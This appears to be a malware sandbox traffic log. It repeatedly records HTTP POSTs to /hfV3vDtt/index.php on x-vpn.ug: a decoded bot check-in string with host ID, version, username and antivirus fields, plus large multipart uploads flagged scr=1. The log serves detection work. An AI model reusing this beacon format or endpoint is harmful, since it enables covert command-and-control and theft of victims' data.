Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168Host: x-vpn.ugContent-Length: 101645Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----c6c3cd094a1069526294096e60e5a466Host: x-vpn.ugContent-Length: 101565Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----52695560dce7d77d50bc6214a983b50aHost: x-vpn.ugContent-Length: 97081Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----52695560dce7d77d50bc6214a983b50aHost: x-vpn.ugContent-Length: 97081Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040Host: x-vpn.ugContent-Length: 96659Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
